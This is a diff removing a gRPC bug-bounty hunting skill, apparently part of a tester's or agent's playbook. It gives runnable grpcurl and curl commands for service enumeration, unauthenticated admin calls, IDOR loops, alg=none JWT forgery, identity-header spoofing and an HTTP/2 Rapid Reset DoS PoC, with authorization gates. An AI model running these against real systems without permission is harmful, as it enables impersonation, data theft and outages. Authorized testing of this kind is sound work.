- - **`hunt-api-misconfig`** — GraphQL mutations are mass-assignment magnets: clients send full input objects, server merges. Chain primitive: GraphQL mutation + extra fields (`isAdmin:true`, `verified:true`) → mass assignment → role escalation.
365
- - **`hunt-business-logic`** — GraphQL aliases let you call the same mutation N times in one request, defeating per-request rate limits. Chain primitive: aliased mutation + business-logic flaw → coupon redeemed N times in single network round-trip.
366
- - **`hunt-race-condition`** — GraphQL batching collapses N mutations into one HTTP packet — perfect single-packet race vehicle. Chain primitive: GraphQL batch + race → atomic-update missing → double-spend balance.
367
- - **`security-arsenal`** — Load the GraphQL Payload Pack: introspection query, schema-suggestion error probe, alias amplification template, depth-bomb DoS payload, batch-attack template.
368
- - **`triage-validation`** — Apply the Body-Diff Rule: introspection alone is informational; require a concrete cross-tenant read or mutation-with-impact PoC before submitting.
@@ -1,273 +0,0 @@
1
- ---
2
- name: hunt-grpc
3
- description: "Hunt gRPC vulnerabilities — server reflection enabled (enumerate all services/methods), missing authentication / metadata-stripping on internal endpoints, plaintext gRPC over HTTP/2, internal endpoint disclosure, proto file leakage, gRPC-Web/grpc-gateway transcoding injection, and HTTP/2 Rapid Reset DoS (CVE-2023-44487). Use when target exposes port 50051 / 443 / 8443 / 9090 with HTTP/2, when grpcurl/grpcui detects reflection, when an Envoy or grpc-gateway proxy is fronting a microservice, or when recon reveals a microservice architecture."
4
- sources: hackerone_public, grpc_security_research, cert_cc_advisory
5
- report_count: 6
6
- ---
7
-
8
- # HUNT-GRPC — gRPC Security
9
-
10
- ## Crown Jewel Targets
11
-
12
- gRPC reflection enabled = full service catalog enumeration without source code. The highest-value gRPC bugs come from the architectural assumption that a service is "internal" — auth is enforced at the edge proxy, and the backend trusts any caller that reaches it. Once you reach the backend directly (exposed port, SSRF, proxy bypass), that trust collapses.
13
-
14
- **Highest-value findings:**
15
- - **Reflection enabled in production** — `grpc.reflection.v1alpha.ServerReflection` / `grpc.reflection.v1.ServerReflection` lists every method, message, and internal service. Enumeration enabler, not a vuln on its own (see Validation).
16
- - **Missing auth on internal service** — a service designed for east-west microservice traffic exposed externally with no mTLS and no per-method authorization → call privileged methods directly.
17
- - **Edge-auth-only / metadata-stripping** — proxy authenticates the user but the backend re-trusts proxy-injected headers (`x-user-id`, `x-tenant-id`, `x-forwarded-*`); if you reach the backend or can inject those headers via the proxy, you impersonate any tenant.
18
- - **Plaintext gRPC** — gRPC h2c (cleartext HTTP/2) on a non-standard port → credential/metadata interception.
19
- - **HTTP/2 Rapid Reset DoS (CVE-2023-44487)** — interleaved HEADERS + immediate RST_STREAM frames bypass `MAX_CONCURRENT_STREAMS` accounting → resource exhaustion. **DoS is in scope on almost no program — get explicit written authorization before sending a single burst.**
20
-
21
- ---
22
-
23
- ## Phase 1 — Fingerprint & Port Discovery
24
-
25
- ```bash
26
- # Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)
27
- nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open
28
-
29
- # ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1
30
- echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"
31
-
32
- # Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status
33
- # trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.
34
- curl -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
35
- -H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status
36
-
37
- # TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type
38
- curl -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
39
- -H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"
40
- ```
41
-
42
- `grpc-status` trailer present ⇒ a gRPC server (or grpc-gateway/Envoy) is behind that port. `UNIMPLEMENTED` on a random path is normal and only confirms the transport — not a finding.
43
-
44
- ---
45
-
46
- ## Phase 2 — Service Enumeration via Reflection
47
-
48
- ```bash
49
- brew install grpcurl # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
50
-
51
- # List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS
52
- grpcurl -plaintext $TARGET:50051 list
53
- grpcurl -insecure $TARGET:443 list
54
-
55
- # Typical output when reflection is on:
56
- # grpc.reflection.v1.ServerReflection
57
- # grpc.health.v1.Health
58
- # user.UserService
59
- # admin.AdminService
60
- # payment.PaymentService
61
-
62
- # List + describe every method of each service
63
- grpcurl -plaintext $TARGET:50051 list admin.AdminService
64
- grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
65
- grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest # message schema
66
-
67
- # Dump the whole catalog to triage interesting surfaces
68
- for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
69
- echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
70
- done | tee grpc-catalog.txt
71
- grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt
72
- ```
73
-
74
- **Reflection disabled?** You can still call known methods if you can guess them, or rebuild the descriptor set from a leaked `.proto` (Phase 5) and pass it with `grpcurl -protoset bundle.bin ...`. Reflection-off is a hardening control, not a security boundary.
75
-
76
- ---
77
-
78
- ## Phase 3 — Call Methods Without Authentication (authz testing)
79
-
80
- ```bash
81
- # Baseline: call a sensitive method with NO auth metadata
82
- grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers
83
-
84
- # IDOR across an enumerable id field
85
- for ID in 1 2 3 100 1000 1001; do
86
- echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
87
- -d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
88
- done
89
- ```
90
-
91
- **Interpret the gRPC status code, not just whether bytes came back (see Validation):**
92
- - `OK` + populated response → method executed unauthenticated → finding.
93
- - `Unauthenticated (16)` / `PermissionDenied (7)` → authz is enforced; NOT a finding.
94
- - `Unimplemented (12)` → wrong path / method not on this server.
95
- - `InvalidArgument (3)` → reached and parsed your input → method is callable; fix the payload and retry.
96
-
97
- ---
98
-
99
- ## Phase 4 — Authentication / Trust-Boundary Bypass
100
-
101
- ```bash
102
- # (a) Forged bearer / alg=none JWT in the authorization metadata
103
- grpcurl -plaintext $TARGET:50051 \
104
- -H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
105
- -d '{}' admin.AdminService/GetConfig
106
-
107
- # (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and
108
- # then trust identity injected as metadata. If the edge does not STRIP these,
109
- # spoofing them = full impersonation. Test every plausible name:
110
- for H in "x-user-id: 1" "x-authenticated-user: admin" "x-tenant-id: 0" \
111
- "x-internal-request: true" "x-forwarded-for: 127.0.0.1" \
112
- "x-envoy-internal: true" "grpc-internal-encoding-request: true"; do
113
- echo "== $H =="
114
- grpcurl -plaintext $TARGET:50051 -H "$H" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3
115
- done
116
-
117
- # (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the
118
- # server; some auth middlewares only inspect text metadata, missing -bin keys.
119
- grpcurl -plaintext $TARGET:50051 -H "auth-token-bin: $(printf admin|base64)" \
120
- -d '{}' admin.AdminService/GetConfig
121
- ```
122
-
123
- The metadata-stripping bug (b) is the gRPC-specific crown jewel: confirm it by sending the spoofed header **directly to the backend port** AND, separately, **through the public proxy** — if the proxy forwards your `x-user-id` unchanged to the backend, it is exploitable for real users, not just on the bypassed port.
124
-
125
- ---
126
-
127
- ## Phase 5 — Proto File / Schema Discovery
128
-
129
- ```bash
130
- # Proxies (Envoy/grpc-gateway) sometimes serve descriptors or swagger
131
- for P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do
132
- S=$(curl -s -o /dev/null -w '%{http_code}' "https://$TARGET/$P")
133
- [ "$S" != 404 ] && echo "Found: /$P ($S)"
134
- done
135
-
136
- # Source/registry leakage of .proto definitions
137
- gh search code --owner "$TARGET_ORG" 'syntax = "proto3"' --limit 20 2>/dev/null
138
- gh search code --owner "$TARGET_ORG" 'service ' filename:.proto --limit 20 2>/dev/null
139
-
140
- # Rebuild a descriptor set from leaked protos and drive the API without reflection
141
- protoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto
142
- grpcurl -protoset bundle.bin -plaintext $TARGET:50051 list
143
- ```
144
-
145
- Proto leakage on its own is low severity; its value is as the key that unlocks Phases 3–4 against a reflection-disabled target.
146
-
147
- ---
148
-
149
- ## Phase 6 — gRPC-Web / grpc-gateway / JSON-Transcoding Attacks
150
-
151
- gRPC almost always reaches the browser through a transcoder: **Envoy `grpc_web`/`grpc_json_transcoder`**, **grpc-gateway** (REST↔gRPC), or **Connect**. These translators are the realistic external attack surface and frequently re-expose internal methods.
152
-
153
- ```bash
154
- # (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often
155
- # map predictably — hit them over plain HTTP/JSON (no gRPC client needed):
156
- curl -s -X POST "https://$TARGET/v1/admin/users:list" -H 'content-type: application/json' -d '{}'
157
- curl -s -X POST "https://$TARGET/admin.AdminService/ListUsers" \
158
- -H 'content-type: application/json' -d '{}' # default unannotated route
159
-
160
- # (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.
161
- # Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.
162
- # Encode the message with protoscope so the bytes are correct:
163
- # protoscope -s <<<'1: 1' > msg.bin # field 1 (e.g. user_id) = 1
164
- MSG=$(xxd -p msg.bin | tr -d '\n')
165
- LEN=$(printf '%08x' $((${#MSG}/2))) # 4-byte length prefix
166
- FRAME=$(printf '00%s%s' "$LEN" "$MSG")
167
- echo "$FRAME" | xxd -r -p > frame.bin
168
- curl -s "https://$TARGET/user.UserService/GetUser" \
169
- -H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \
170
- --data-binary @frame.bin | xxd | head
171
-
172
- # (c) grpc-web+json variant (Envoy/Connect) — no manual framing needed:
173
- curl -s "https://$TARGET/user.UserService/GetUser" \
174
- -H 'content-type: application/grpc-web+json' -H 'x-grpc-web: 1' \
175
- -d '{"user_id": 1}'
176
-
177
- # (d) Connect protocol (buf): plain JSON POST, unary, no framing:
178
- curl -s "https://$TARGET/user.UserService/GetUser" \
179
- -H 'content-type: application/json' -H 'connect-protocol-version: 1' \
180
- -d '{"user_id": 1}'
181
- ```
182
-
183
- Why this matters: the browser-facing transcoder commonly forwards to the SAME backend as the internal gRPC plane. If the transcoder route exposes `AdminService` or fails to require the auth the gRPC client would have sent, you have a real, externally-reachable authz bug. Confirm each transcoded route returns `OK` with sensitive data, and verify it is reachable as an unauthenticated/low-priv user (not just from inside the mesh).
184
-
185
- ---
186
-
187
- ## Phase 7 — HTTP/2 Rapid Reset DoS (CVE-2023-44487)
188
-
189
- **Authorization gate:** DoS is out of scope on the overwhelming majority of programs. Do NOT run this without explicit, written, scoped permission and a target/window the program owner agreed to. Skip to Validation if unsure.
190
-
191
- The attack is NOT a load test. It opens streams (HEADERS) and immediately cancels them (RST_STREAM) before the server finishes, so each cancelled stream frees a `MAX_CONCURRENT_STREAMS` slot instantly while the server still spends work on it — the client races far ahead of the concurrency cap. `h2load`/`ghz` are throughput benchmarkers; **they have no rapid-reset mode and never interleave HEADERS+immediate-RST_STREAM, so they cannot test this.**
192
-
193
- **Correct tooling — author-sanctioned PoCs that actually emit the frame pattern:**
194
- ```bash
195
- # CERT/CC + community tracking and PoCs for CVE-2023-44487:
196
- # https://kb.cert.org/vuls/id/421644
197
- # https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ (Cloudflare writeup)
198
- # Go PoC that sends HEADERS then immediate RST_STREAM in a tight loop:
199
- git clone https://github.com/secengjeff/rapidresetclient
200
- cd rapidresetclient && go build -o rapidreset .
201
- # Detection-only: a SHORT, low-count burst, with permission, then STOP:
202
- ./rapidreset --help # confirm current flags first, then a SMALL authorized burst, e.g.:
203
- # ./rapidreset -url https://$TARGET:443 -concurrency 1 -requests 20
204
-
205
- # If you must roll your own, use the h2 framing layer (golang.org/x/net/http2)
206
- # to write a HEADERS frame immediately followed by RST_STREAM(CANCEL) per stream id.
207
- ```
208
-
209
- **Detection without DoSing — prefer this:** the only thing you need to PROVE is whether mitigations are present. Check the server banner / version and whether it tracks reset floods:
210
- ```bash
211
- # Fingerprint the HTTP/2 implementation and version (patched versions are known):
212
- curl -sI --http2 https://$TARGET/ | grep -i '^server:'
213
- # nghttp2 >=1.57.0, Go net/http with the 2023-10 fix, Envoy >=1.27.1/1.26.5/1.25.10/1.24.11,
214
- # grpc-go >=1.56.3/1.57.1/1.58.3 are mitigated. Version-match instead of flooding.
215
- ```
216
- Report the *version-confirmed* mitigation gap rather than a benchmark slowdown. "Server got slower under load" is not proof of CVE-2023-44487 — it produces false positives on slow/under-provisioned servers and false negatives on patched ones that throttle resets gracefully.
217
-
218
- ---
219
-
220
- ## Tools
221
-
222
- ```bash
223
- grpcurl # primary CLI client (list/describe/call, -protoset for reflection-off)
224
- grpcui # web UI for interactive exploration: grpcui -plaintext $TARGET:50051
225
- protoc + protoscope # build/inspect raw protobuf and gRPC-Web frames (Phase 6)
226
- buf # lint/inspect proto, drive Connect endpoints
227
- # DoS-only, AUTHORIZED engagements: secengjeff/rapidresetclient (true rapid-reset PoC).
228
- # NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not
229
- # use them to "prove" CVE-2023-44487.
230
- ```
231
-
232
- ---
233
-
234
- ## Chain Table
235
-
236
- | gRPC finding | Chain to | Impact |
237
- |--------------|----------|--------|
238
- | Reflection enabled | Enumerate all internal service methods + messages | Full API catalog disclosure (enabler) |
239
- | Admin method, no auth | Call privileged RPCs (`DeleteUser`, `GetConfig`) | Data manipulation / system access — Critical |
240
- | Proxy forwards `x-user-id`/`x-tenant-id` unstripped | Spoof identity metadata → cross-tenant impersonation | Tenant isolation bypass — Critical |
241
- | IDOR via enumerable id field | Iterate `user_id` over `GetUser` | Mass PII exfil — High |
242
- | grpc-gateway / gRPC-Web route re-exposes internal RPC | Hit transcoded REST/JSON path unauth | Externally-reachable authz bypass — High/Critical |
243
- | Plaintext h2c on internal port | MITM / sniff metadata (bearer tokens) | Credential capture — High |
244
- | `.proto` leak (repo/swagger) | `-protoset` to drive reflection-off target | Unlocks Phases 3–4 — Low alone, High as enabler |
245
-
246
- Related skills: **hunt-idor** (id enumeration logic), **hunt-api-misconfig** (JWT alg=none / mass-assignment in request messages), **hunt-auth-bypass** (edge-vs-backend trust boundary), **hunt-tls-network** (h2c/plaintext + ALPN), **cloud-iam-deep** (if a called RPC returns cloud creds).
247
-
248
- ---
249
-
250
- ## Validation — false-positive discipline
251
-
252
- gRPC's failure modes look like successes to a naive `grep`. Apply these gates before any submission.
253
-
254
- 1. **Status-code discrimination, not byte-counting.** A non-empty response can still be an error frame. Confirm the `grpc-status` trailer is `0` (OK). `Unauthenticated (16)` / `PermissionDenied (7)` mean auth WORKS — close the candidate. `Unimplemented (12)` means you have the wrong method. Re-run with `grpcurl -v` and read the trailers explicitly.
255
-
256
- 2. **Reflection / health endpoints are often intentionally public.** `grpc.reflection.*` and `grpc.health.v1.Health` being reachable is, by itself, **info disclosure (Low/Medium at most)** — many vendors ship reflection on by design. Do NOT report it as "missing auth" unless it leaks a non-public service catalog. The finding is the *sensitive* service you can then call without auth, proven in Phase 3.
257
-
258
- 3. **Distinguish "no auth" from "auth not required for THIS method."** Some methods (health, public catalog reads) are legitimately anonymous. Prove the bug by showing an authenticated-vs-unauthenticated **state delta**: the same RPC returns another user's/tenant's private data without credentials, or a mutating admin RPC executes (re-read the changed state to confirm side-effect).
259
-
260
- 4. **Proxy-vs-backend reachability.** A bug reachable only by hitting an internal `:50051` you found via SSRF/port-scan is real but its severity depends on reachability. State explicitly how an external attacker reaches it (exposed port, SSRF egress, proxy passthrough). For metadata-spoofing, prove the PUBLIC proxy forwards the spoofed header — not just the bypassed backend port.
261
-
262
- 5. **OOB / Collaborator for anything blind.** If an RPC takes a URL/host argument (webhook, import, render), it is an SSRF candidate: point it at a Burp Collaborator payload with a unique subdomain and confirm the DNS+HTTP interaction before claiming SSRF. No interaction = no SSRF. Hand off to **hunt-ssrf**.
263
-
264
- 6. **DoS is authorization-gated and version-verifiable.** Never submit CVE-2023-44487 off a benchmark "slowdown." Either (a) version-match an unpatched HTTP/2 stack from the `server:` banner, or (b) demonstrate the reset-flood ONLY under explicit written authorization with an agreed window — then stop immediately. A slow response is not proof.
265
-
266
- **Severity guide (after the gates above pass):**
267
- - Sensitive/admin RPC callable with no auth, side-effect proven → **Critical**
268
- - Proxy-forwarded metadata spoofing → cross-tenant impersonation → **Critical**
269
- - IDOR / mass PII via enumerable RPC → **High**
270
- - Internal service externally reachable (transcoder or open port) → **High**
271
- - Plaintext h2c leaking bearer metadata → **High**
272
- - Reflection enabled exposing non-public catalog → **Medium** (enabler)
273
- - Proto/descriptor leak, no callable sensitive method → **Low**